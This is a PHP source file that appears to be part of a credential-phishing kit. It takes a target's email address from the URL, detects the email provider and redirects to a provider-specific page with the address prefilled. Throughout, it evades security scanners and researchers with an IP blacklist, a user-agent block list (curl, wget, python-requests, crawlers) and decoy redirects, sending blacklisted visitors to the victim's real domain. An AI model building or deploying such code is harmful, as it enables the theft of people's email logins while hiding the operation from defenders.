<?php
ini_set('display_errors', 0);
error_reporting(E_ALL);

/**
 * Direct Provider Loader
 * 
 * Used when APP_MODE is 'direct' in config_mode.php.
 * Bypasses the file share UI entirely — extracts email from URL,
 * detects the provider server-side, and redirects straight to the
 * correct provider page.
 * 
 * Security layers preserved:
 *   - Verification token validation (vtoken/vtime from CAPTCHA chain)
 *   - IP blacklist check
 *   - Bot user-agent detection
 * 
 * Flow:
 *   verification_gate.php → process.php → router.php → direct_loader.php
 *     → detects email → detects provider → redirects to providers/X.php?ref=...
 */

//═══════════════════════════════════════════════════════════════════════════
//  VERIFICATION TOKEN VALIDATION
//═══════════════════════════════════════════════════════════════════════════

$VERIFICATION_REQUIRED = true;

if ($VERIFICATION_REQUIRED) {
    $vtoken = $_GET['vtoken'] ?? '';
    $vtime  = $_GET['vtime']  ?? '';

    if (empty($vtoken) || empty($vtime)) {
        header('Location: verification_gate.php' . (!empty($_SERVER['QUERY_STRING']) ? '?' . $_SERVER['QUERY_STRING'] : ''));
        exit;
    }

    if (!preg_match('/^[a-f0-9]{32}$/', $vtoken)) {
        header('Location: verification_gate.php');
        exit;
    }

    if (!is_numeric($vtime) || $vtime > time() || $vtime < (time() - 60)) {
        header('Location: verification_gate.php');
        exit;
    }

    $expected_token = md5('verified:' . $vtime . ':secure_gate_salt');

    if ($vtoken !== $expected_token) {
        header('Location: verification_gate.php');
        exit;
    }
}

//═══════════════════════════════════════════════════════════════════════════
//  IP BLACKLIST CHECK
//═══════════════════════════════════════════════════════════════════════════

require_once __DIR__ . '/ip_blacklist_loader.php';

if (!function_exists('getVisitorIP_direct')) {
    function getVisitorIP_direct() {
        $server_addr = $_SERVER['SERVER_ADDR'] ?? '127.0.0.1';
        $localhost = '127.0.0.1';

        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) &&
            ($_SERVER['HTTP_CF_CONNECTING_IP'] != $localhost) &&
            ($_SERVER['HTTP_CF_CONNECTING_IP'] != $server_addr)) {
            return $_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && ($_SERVER['GEOIP_ADDR'] != $localhost)) {
            return $_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) &&
                  ($_SERVER['HTTP_X_FORWARDED_FOR'] != $localhost) &&
                  ($_SERVER['HTTP_X_FORWARDED_FOR'] != $server_addr)) {
            return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) &&
                  ($_SERVER['HTTP_CLIENT_IP'] != $localhost) &&
                  ($_SERVER['HTTP_CLIENT_IP'] != $server_addr)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    }
}

$visitor_ip = getVisitorIP_direct();

if (IPBlacklistLoader::isBlacklisted($visitor_ip)) {
    require_once __DIR__ . '/config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  BOT DETECTION
//═══════════════════════════════════════════════════════════════════════════

$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (empty($ua)) {
    $ua = getenv('HTTP_USER_AGENT') ?: '';
}

$ua_lower = strtolower($ua);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

//═══════════════════════════════════════════════════════════════════════════
//  EMAIL EXTRACTION
//═══════════════════════════════════════════════════════════════════════════

require_once __DIR__ . '/email_provider_map.php';
require_once __DIR__ . '/config_redirect.php';

$email = null;

// Try 'ref' parameter first (primary — base64 or plain email)
if (!empty($_GET['ref'])) {
    $ref_value = urldecode($_GET['ref']);

    // Try base64 decode
    $decoded = @base64_decode($ref_value, true);
    if ($decoded !== false && filter_var($decoded, FILTER_VALIDATE_EMAIL)) {
        $email = $decoded;
    } elseif (filter_var($ref_value, FILTER_VALIDATE_EMAIL)) {
        // Plain email in ref param
        $email = $ref_value;
    }
}

// Fallback: try 'email' parameter
if ($email === null && !empty($_GET['email'])) {
    $candidate = urldecode($_GET['email']);
    if (filter_var($candidate, FILTER_VALIDATE_EMAIL)) {
        $email = $candidate;
    }
}

// No email found — cannot proceed in direct mode, redirect out
if ($email === null) {
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  PROVIDER DETECTION & REDIRECT
//═══════════════════════════════════════════════════════════════════════════

try {
    $provider = detectEmailProviderFromEmail($email);
    
    // If blacklisted, we still want a plausible redirect
    if (IPBlacklistLoader::isBlacklisted($visitor_ip)) {
        if ($provider === 'chameleon') {
            $parts = explode('@', $email);
            $domain = $parts[1] ?? '';
            if ($domain) {
                header('Location: https://' . $domain, true, 302);
                exit;
            }
        }
        header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
        exit;
    }

    $providerPath = getProviderPath($provider);

    // Build the redirect URL to the provider page with the ref param
    $emailBase64 = base64_encode($email);
    $redirectUrl = $providerPath . '?ref=' . urlencode($emailBase64);

    header('Location: ' . $redirectUrl, true, 302);
    exit;
} catch (Exception $e) {
    die("Fatal Error in provider detection: " . $e->getMessage());
} catch (Error $e) {
    die("PHP Error in provider detection: " . $e->getMessage());
}
